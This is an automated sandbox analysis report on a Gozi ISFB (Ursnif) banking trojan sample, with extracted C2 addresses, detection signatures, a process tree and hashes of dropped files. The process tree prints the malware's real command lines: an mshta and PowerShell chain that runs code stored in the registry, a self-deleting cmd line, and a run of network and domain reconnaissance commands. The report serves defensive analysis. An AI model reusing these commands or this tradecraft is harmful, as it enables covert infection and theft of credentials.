Overview

overview

10

Static

static

0x00070000...63.exe

windows7_x64

10

0x00070000...63.exe

windows10-2004_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220331-en
  • submitted
    14/04/2022, 08:13

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    0x0007000000012676-63.exe
  • Size 406KB
  • Sample220414-j4earsagfl
  • SHA256 bd9eb71baa0d28bff80cbfa742346aa8f6d08ac463ce85bd97b9842aa6a2bbcb
  • MD5 SHA1 SHA512
Score
10/10
gozi_ifsb555bankersuricatatrojan

Malware Config

Extracted

Family

  • gozi_ifsb

Botnet

  • 555

C2

  • config.edge.skype.com

  • 146.70.35.138

  • 146.70.35.142

Attributes
  • base_path

    /phpadmin/

  • build

    250227

  • exe_type

    loader

  • extension

    .src

  • server_id

    50

rsa_pubkey.plain
aes.plain

Extracted

Family

  • gozi_ifsb

Botnet

  • 555

C2

  • config.edge.skype.com

  • 67.43.234.14

  • 67.43.234.37

  • 67.43.234.47

Attributes
  • base_path

    /images/

  • exe_type

    worker

  • extension

    .src

  • server_id

    50

rsa_pubkey.plain
aes.plain

Signatures

  • Gozi, Gozi IFSB

    Gozi ISFB is a well-known and widely distributed banking trojan.

    bankertrojangozi_ifsb
  • suricata: ET MALWARE Ursnif Payload Request (cook32.rar)

    suricata: ET MALWARE Ursnif Payload Request (cook32.rar)

    suricata
  • suricata: ET MALWARE Ursnif Payload Request (cook64.rar)

    suricata: ET MALWARE Ursnif Payload Request (cook64.rar)

    suricata
  • suricata: ET MALWARE Ursnif Variant CnC Beacon

    suricata: ET MALWARE Ursnif Variant CnC Beacon

    suricata
  • suricata: ET MALWARE Ursnif Variant CnC Beacon - URI Struct M2 (_2F)

    suricata: ET MALWARE Ursnif Variant CnC Beacon - URI Struct M2 (_2F)

    suricata
  • suricata: ET MALWARE Ursnif Variant CnC Data Exfil

    suricata: ET MALWARE Ursnif Variant CnC Data Exfil

    suricata
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Unexpected DNS network traffic destination 3 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Suspicious use of SetThreadContext 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Discovers systems in the same network 1 TTPs 3 IoCs
    discovery
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies registry class 64 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2064
    • C:\Users\Admin\AppData\Local\Temp\0x0007000000012676-63.exe
      "C:\Users\Admin\AppData\Local\Temp\0x0007000000012676-63.exe"
      2⤵
      • Suspicious use of SetThreadContext
      • Suspicious use of WriteProcessMemory
      PID:3368
      • C:\Users\Admin\AppData\Local\Temp\0x0007000000012676-63.exe
        "C:\Users\Admin\AppData\Local\Temp\0x0007000000012676-63.exe"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:4660
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" "about:<hta:application><script>Uutu='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Uutu).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\FF60E4D4-527A-89D5-54A3-A6CDC8873A51\\\HandlerBook'));if(!window.flag)close()</script>"
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:1312
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name gwcstb -value gp; new-alias -name slaovl -value iex; slaovl ([System.Text.Encoding]::ASCII.GetString((gwcstb "HKCU:Software\AppDataLow\Software\Microsoft\FF60E4D4-527A-89D5-54A3-A6CDC8873A51").NameUrls))
        3⤵
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1960
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wx1vlrru\wx1vlrru.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3624
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF997.tmp" "c:\Users\Admin\AppData\Local\Temp\wx1vlrru\CSCBE55F495579D423D994EB732414326EF.TMP"
            5⤵
              PID:2276
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gfm2unl3\gfm2unl3.cmdline"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:4264
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFA24.tmp" "c:\Users\Admin\AppData\Local\Temp\gfm2unl3\CSCD1DCA415CF77487D9015F58788E57A0.TMP"
              5⤵
                PID:2800
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\0x0007000000012676-63.exe"
          2⤵
          • Suspicious use of SetThreadContext
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:1696
          • C:\Windows\system32\PING.EXE
            ping localhost -n 5
            3⤵
            • Runs ping.exe
            • Suspicious behavior: CmdExeWriteProcessMemorySpam
            PID:1128
        • C:\Windows\system32\cmd.exe
          cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\9D98.bi1"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1520
          • C:\Windows\system32\nslookup.exe
            nslookup myip.opendns.com resolver1.opendns.com
            3⤵
              PID:504
          • C:\Windows\system32\cmd.exe
            cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\9D98.bi1"
            2⤵
              PID:4340
            • C:\Windows\system32\cmd.exe
              cmd /C "systeminfo.exe > C:\Users\Admin\AppData\Local\Temp\BEA6.bin1"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2940
              • C:\Windows\system32\systeminfo.exe
                systeminfo.exe
                3⤵
                • Gathers system information
                PID:4980
            • C:\Windows\syswow64\cmd.exe
              "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
              2⤵
                PID:4928
              • C:\Windows\system32\cmd.exe
                cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\BEA6.bin1"
                2⤵
                  PID:3132
                • C:\Windows\system32\cmd.exe
                  cmd /C "net view >> C:\Users\Admin\AppData\Local\Temp\BEA6.bin1"
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2228
                  • C:\Windows\system32\net.exe
                    net view
                    3⤵
                    • Discovers systems in the same network
                    PID:4984
                • C:\Windows\system32\cmd.exe
                  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\BEA6.bin1"
                  2⤵
                    PID:2320
                  • C:\Windows\system32\cmd.exe
                    cmd /C "nslookup 127.0.0.1 >> C:\Users\Admin\AppData\Local\Temp\BEA6.bin1"
                    2⤵
                      PID:3340
                      • C:\Windows\system32\nslookup.exe
                        nslookup 127.0.0.1
                        3⤵
                          PID:1572
                      • C:\Windows\system32\cmd.exe
                        cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\BEA6.bin1"
                        2⤵
                          PID:1908
                        • C:\Windows\system32\cmd.exe
                          cmd /C "tasklist.exe /SVC >> C:\Users\Admin\AppData\Local\Temp\BEA6.bin1"
                          2⤵
                            PID:960
                            • C:\Windows\system32\tasklist.exe
                              tasklist.exe /SVC
                              3⤵
                              • Enumerates processes with tasklist
                              • Suspicious use of AdjustPrivilegeToken
                              PID:3628
                          • C:\Windows\system32\cmd.exe
                            cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\BEA6.bin1"
                            2⤵
                              PID:4560
                            • C:\Windows\system32\cmd.exe
                              cmd /C "driverquery.exe >> C:\Users\Admin\AppData\Local\Temp\BEA6.bin1"
                              2⤵
                                PID:3660
                                • C:\Windows\system32\driverquery.exe
                                  driverquery.exe
                                  3⤵
                                    PID:4948
                                • C:\Windows\system32\cmd.exe
                                  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\BEA6.bin1"
                                  2⤵
                                    PID:1312
                                  • C:\Windows\system32\cmd.exe
                                    cmd /C "reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >> C:\Users\Admin\AppData\Local\Temp\BEA6.bin1"
                                    2⤵
                                      PID:4804
                                      • C:\Windows\system32\reg.exe
                                        reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
                                        3⤵
                                          PID:712
                                      • C:\Windows\system32\cmd.exe
                                        cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\BEA6.bin1"
                                        2⤵
                                          PID:1528
                                        • C:\Windows\system32\cmd.exe
                                          cmd /C "net config workstation >> C:\Users\Admin\AppData\Local\Temp\BEA6.bin1"
                                          2⤵
                                            PID:4416
                                            • C:\Windows\system32\net.exe
                                              net config workstation
                                              3⤵
                                                PID:2068
                                                • C:\Windows\system32\net1.exe
                                                  C:\Windows\system32\net1 config workstation
                                                  4⤵
                                                    PID:3036
                                              • C:\Windows\system32\cmd.exe
                                                cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\BEA6.bin1"
                                                2⤵
                                                  PID:4872
                                                • C:\Windows\system32\cmd.exe
                                                  cmd /C "nltest /domain_trusts >> C:\Users\Admin\AppData\Local\Temp\BEA6.bin1"
                                                  2⤵
                                                    PID:2740
                                                    • C:\Windows\system32\nltest.exe
                                                      nltest /domain_trusts
                                                      3⤵
                                                        PID:4540
                                                    • C:\Windows\system32\cmd.exe
                                                      cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\BEA6.bin1"
                                                      2⤵
                                                        PID:4636
                                                      • C:\Windows\system32\cmd.exe
                                                        cmd /C "nltest /domain_trusts /all_trusts >> C:\Users\Admin\AppData\Local\Temp\BEA6.bin1"
                                                        2⤵
                                                          PID:3988
                                                          • C:\Windows\system32\nltest.exe
                                                            nltest /domain_trusts /all_trusts
                                                            3⤵
                                                              PID:3368
                                                          • C:\Windows\system32\cmd.exe
                                                            cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\BEA6.bin1"
                                                            2⤵
                                                              PID:3452
                                                            • C:\Windows\system32\cmd.exe
                                                              cmd /C "net view /all /domain >> C:\Users\Admin\AppData\Local\Temp\BEA6.bin1"
                                                              2⤵
                                                                PID:4516
                                                                • C:\Windows\system32\net.exe
                                                                  net view /all /domain
                                                                  3⤵
                                                                  • Discovers systems in the same network
                                                                  PID:4928
                                                              • C:\Windows\system32\cmd.exe
                                                                cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\BEA6.bin1"
                                                                2⤵
                                                                  PID:2164
                                                                • C:\Windows\system32\cmd.exe
                                                                  cmd /C "net view /all >> C:\Users\Admin\AppData\Local\Temp\BEA6.bin1"
                                                                  2⤵
                                                                    PID:4740
                                                                    • C:\Windows\system32\net.exe
                                                                      net view /all
                                                                      3⤵
                                                                      • Discovers systems in the same network
                                                                      PID:864
                                                                  • C:\Windows\system32\cmd.exe
                                                                    cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\BEA6.bin1"
                                                                    2⤵
                                                                      PID:2992
                                                                    • C:\Windows\system32\cmd.exe
                                                                      cmd /U /C "type C:\Users\Admin\AppData\Local\Temp\BEA6.bin1 > C:\Users\Admin\AppData\Local\Temp\BEA6.bin & del C:\Users\Admin\AppData\Local\Temp\BEA6.bin1"
                                                                      2⤵
                                                                        PID:3836
                                                                    • C:\Windows\System32\RuntimeBroker.exe
                                                                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                      1⤵
                                                                        PID:3412
                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                        1⤵
                                                                          PID:3644
                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                          1⤵
                                                                          • Modifies registry class
                                                                          PID:4128

                                                                        Network

                                                                              MITRE ATT&CK Enterprise v6

                                                                              Replay Monitor

                                                                              Loading Replay Monitor...

                                                                              Downloads

                                                                              9D98.bi1
                                                                              • Path C:\Users\Admin\AppData\Local\Temp\9D98.bi1
                                                                              • Size 107B
                                                                              • SHA256 9ddfbd2aa53b6e119405de09d76021f01a0b2e4f5bbf8d75ff2a8ce4199e01c6
                                                                              • MD5 SHA1 SHA512
                                                                              Submit Download

                                                                              9D98.bi1
                                                                              • Path C:\Users\Admin\AppData\Local\Temp\9D98.bi1
                                                                              • Size 118B
                                                                              • SHA256 58b498e17cfc59584aae9620ca60d657e3691c7bfc1896e581f3f9292390bfd8
                                                                              • MD5 SHA1 SHA512
                                                                              Submit Download

                                                                              BEA6.bin
                                                                              • Path C:\Users\Admin\AppData\Local\Temp\BEA6.bin
                                                                              • Size 64KB
                                                                              • SHA256 b4d0265b9d45763715fbf4d4abe8563ef8c11dcd064ea6a43521c3c417765683
                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                              Submit Download

                                                                              BEA6.bin1
                                                                              • Path C:\Users\Admin\AppData\Local\Temp\BEA6.bin1
                                                                              • Size 2KB
                                                                              • SHA256 11fdef57d689e7708d48b48d7d2f3709d0a75668748490e9506effd6a821e3af
                                                                              • MD5 SHA1 SHA512
                                                                              Submit Download

                                                                              BEA6.bin1
                                                                              • Path C:\Users\Admin\AppData\Local\Temp\BEA6.bin1
                                                                              • Size 2KB
                                                                              • SHA256 b2776e3bb7d082eea5203e657f2118d2f205159338fe31da6a0f9c58ffaf4abd
                                                                              • MD5 SHA1 SHA512
                                                                              Submit Download

                                                                              BEA6.bin1
                                                                              • Path C:\Users\Admin\AppData\Local\Temp\BEA6.bin1
                                                                              • Size 2KB
                                                                              • SHA256 a40b27bb2ad5bc13aeb467aa2992d2d972d73566aa23112356395e81bf431733
                                                                              • MD5 SHA1 SHA512
                                                                              Submit Download

                                                                              BEA6.bin1
                                                                              • Path C:\Users\Admin\AppData\Local\Temp\BEA6.bin1
                                                                              • Size 2KB
                                                                              • SHA256 e9342263b6ff7c94052cc0c90d794b0f4e80e59acb894502534fc0323bdbc9d8
                                                                              • MD5 SHA1 SHA512
                                                                              Submit Download

                                                                              BEA6.bin1
                                                                              • Path C:\Users\Admin\AppData\Local\Temp\BEA6.bin1
                                                                              • Size 2KB
                                                                              • SHA256 5ac03fd80671f0328643c88f45b4c56914b1d1de0300c9c71b169b1496e79f03
                                                                              • MD5 SHA1 SHA512
                                                                              Submit Download

                                                                              BEA6.bin1
                                                                              • Path C:\Users\Admin\AppData\Local\Temp\BEA6.bin1
                                                                              • Size 9KB
                                                                              • SHA256 2a5bdc6fc20bdf28e1a8a39b4e548a3b041dd7e38862b43dd9a4d91f6a2c8fdc
                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                              Submit Download

                                                                              BEA6.bin1
                                                                              • Path C:\Users\Admin\AppData\Local\Temp\BEA6.bin1
                                                                              • Size 9KB
                                                                              • SHA256 2a5bdc6fc20bdf28e1a8a39b4e548a3b041dd7e38862b43dd9a4d91f6a2c8fdc
                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                              Submit Download

                                                                              BEA6.bin1
                                                                              • Path C:\Users\Admin\AppData\Local\Temp\BEA6.bin1
                                                                              • Size 35KB
                                                                              • SHA256 5a8ce9791b25cec33c07aba028c9e1f2bb689aa8ffe7d539774a842bdf1783ed
                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                              Submit Download

                                                                              BEA6.bin1
                                                                              • Path C:\Users\Admin\AppData\Local\Temp\BEA6.bin1
                                                                              • Size 35KB
                                                                              • SHA256 5a8ce9791b25cec33c07aba028c9e1f2bb689aa8ffe7d539774a842bdf1783ed
                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                              Submit Download

                                                                              BEA6.bin1
                                                                              • Path C:\Users\Admin\AppData\Local\Temp\BEA6.bin1
                                                                              • Size 64KB
                                                                              • SHA256 27fca76e2f7b0501e9e67e41a9d0305bfab3cc5271df22018fbcc802ef2c9454
                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                              Submit Download

                                                                              BEA6.bin1
                                                                              • Path C:\Users\Admin\AppData\Local\Temp\BEA6.bin1
                                                                              • Size 64KB
                                                                              • SHA256 91fb27b53074d0b72fa95b6376d5a60f8dba588a16d88aa7314b5e8435684039
                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                              Submit Download

                                                                              BEA6.bin1
                                                                              • Path C:\Users\Admin\AppData\Local\Temp\BEA6.bin1
                                                                              • Size 64KB
                                                                              • SHA256 1fbe1b7d1c3f66eb38be37a1c64d30b8b8805a5c828b4616fd35a77795f477a9
                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                              Submit Download

                                                                              BEA6.bin1
                                                                              • Path C:\Users\Admin\AppData\Local\Temp\BEA6.bin1
                                                                              • Size 64KB
                                                                              • SHA256 1fbe1b7d1c3f66eb38be37a1c64d30b8b8805a5c828b4616fd35a77795f477a9
                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                              Submit Download

                                                                              BEA6.bin1
                                                                              • Path C:\Users\Admin\AppData\Local\Temp\BEA6.bin1
                                                                              • Size 64KB
                                                                              • SHA256 3290a3a5759e89ea1e1736c59e886bfbef1dd016c94333f8a9e9779525a58cba
                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                              Submit Download

                                                                              BEA6.bin1
                                                                              • Path C:\Users\Admin\AppData\Local\Temp\BEA6.bin1
                                                                              • Size 64KB
                                                                              • SHA256 105f00f5fe8d5e1a519019f1d6c32306bf7daa485f35d1049ab3f3315f67c2dd
                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                              Submit Download

                                                                              BEA6.bin1
                                                                              • Path C:\Users\Admin\AppData\Local\Temp\BEA6.bin1
                                                                              • Size 64KB
                                                                              • SHA256 1846a65afa6b6ec0c5332f6372f132682c328d2c69d44c7d9f11f2d0a135eaf2
                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                              Submit Download

                                                                              BEA6.bin1
                                                                              • Path C:\Users\Admin\AppData\Local\Temp\BEA6.bin1
                                                                              • Size 64KB
                                                                              • SHA256 b4d0265b9d45763715fbf4d4abe8563ef8c11dcd064ea6a43521c3c417765683
                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                              Submit Download

                                                                              RESF997.tmp
                                                                              • Path C:\Users\Admin\AppData\Local\Temp\RESF997.tmp
                                                                              • Size 1KB
                                                                              • SHA256 8740af8810ec3b072255a118d3cd9847a15d6f8f4e048a2137d623a7d1e4937c
                                                                              • MD5 SHA1 SHA512
                                                                              Submit Download

                                                                              RESFA24.tmp
                                                                              • Path C:\Users\Admin\AppData\Local\Temp\RESFA24.tmp
                                                                              • Size 1KB
                                                                              • SHA256 e725ad52b804d5f420d956c0866572d024824feae69b618ffebb1367ee420708
                                                                              • MD5 SHA1 SHA512
                                                                              Submit Download

                                                                              gfm2unl3.dll
                                                                              • Path C:\Users\Admin\AppData\Local\Temp\gfm2unl3\gfm2unl3.dll
                                                                              • Size 3KB
                                                                              • SHA256 2b3679f07e1cff3b8b0bbdf0f1a03e3043e28edbac19e44c1a97437733c46f65
                                                                              • MD5 SHA1 SHA512
                                                                              Submit Download

                                                                              wx1vlrru.dll
                                                                              • Path C:\Users\Admin\AppData\Local\Temp\wx1vlrru\wx1vlrru.dll
                                                                              • Size 3KB
                                                                              • SHA256 9697212499f4306127a01bb561f76d1539acd1bdc5cb81d0d261f24d3c50cbaf
                                                                              • MD5 SHA1 SHA512
                                                                              Submit Download

                                                                              CSCD1DCA415CF77487D9015F58788E57A0.TMP
                                                                              • Path \??\c:\Users\Admin\AppData\Local\Temp\gfm2unl3\CSCD1DCA415CF77487D9015F58788E57A0.TMP
                                                                              • Size 652B
                                                                              • SHA256 64418a67e17152025ed951c224e1e53935038a8a829e7769fc0b6ff7d692a6cb
                                                                              • MD5 SHA1 SHA512
                                                                              Submit Download

                                                                              gfm2unl3.0.cs
                                                                              • Path \??\c:\Users\Admin\AppData\Local\Temp\gfm2unl3\gfm2unl3.0.cs
                                                                              • Size 417B
                                                                              • SHA256 2ceda574437717cb5084a6d8315f059002f22d45837c60c003f1f09bb0a72dcd
                                                                              • MD5 SHA1 SHA512
                                                                              Submit Download

                                                                              gfm2unl3.cmdline
                                                                              • Path \??\c:\Users\Admin\AppData\Local\Temp\gfm2unl3\gfm2unl3.cmdline
                                                                              • Size 369B
                                                                              • SHA256 2df590611bf9ed8e0e8367b9f46b66926242308c34cbd0f73144895beb890507
                                                                              • MD5 SHA1 SHA512
                                                                              Submit Download

                                                                              CSCBE55F495579D423D994EB732414326EF.TMP
                                                                              • Path \??\c:\Users\Admin\AppData\Local\Temp\wx1vlrru\CSCBE55F495579D423D994EB732414326EF.TMP
                                                                              • Size 652B
                                                                              • SHA256 b7566ff0c01f387f5f82e7e6a6acf43197cb2eb0960dd924418fb3a5b5e2346f
                                                                              • MD5 SHA1 SHA512
                                                                              Submit Download

                                                                              wx1vlrru.0.cs
                                                                              • Path \??\c:\Users\Admin\AppData\Local\Temp\wx1vlrru\wx1vlrru.0.cs
                                                                              • Size 411B
                                                                              • SHA256 0c6c066612882cd36bb425c21983258a23536ffa9e444fe57056c2d95d8b32df
                                                                              • MD5 SHA1 SHA512
                                                                              Submit Download

                                                                              wx1vlrru.cmdline
                                                                              • Path \??\c:\Users\Admin\AppData\Local\Temp\wx1vlrru\wx1vlrru.cmdline
                                                                              • Size 369B
                                                                              • SHA256 79a35828ee4c48ab9c7468a66fd63c9dc16c14397bb7cf43e01c66081abb964e
                                                                              • MD5 SHA1 SHA512
                                                                              Submit Download

                                                                              memory/1960-131-0x00007FFE12560000-0x00007FFE13021000-memory.dmp
                                                                              Download

                                                                              memory/1960-133-0x000001875ED53000-0x000001875ED55000-memory.dmp
                                                                              Download

                                                                              memory/1960-134-0x000001875ED56000-0x000001875ED58000-memory.dmp
                                                                              Download

                                                                              memory/1960-132-0x000001875ED50000-0x000001875ED52000-memory.dmp
                                                                              Download

                                                                              memory/1960-149-0x000001875F0A0000-0x000001875F0DE000-memory.dmp
                                                                              Download

                                                                              memory/1960-130-0x000001875EF20000-0x000001875EF42000-memory.dmp
                                                                              Download

                                                                              memory/4660-125-0x0000000000400000-0x000000000040D000-memory.dmp
                                                                              Download

                                                                              memory/4660-127-0x0000000000400000-0x000000000040D000-memory.dmp
                                                                              Download

                                                                              memory/4928-160-0x0000000000236B20-0x0000000000236B24-memory.dmp
                                                                              Download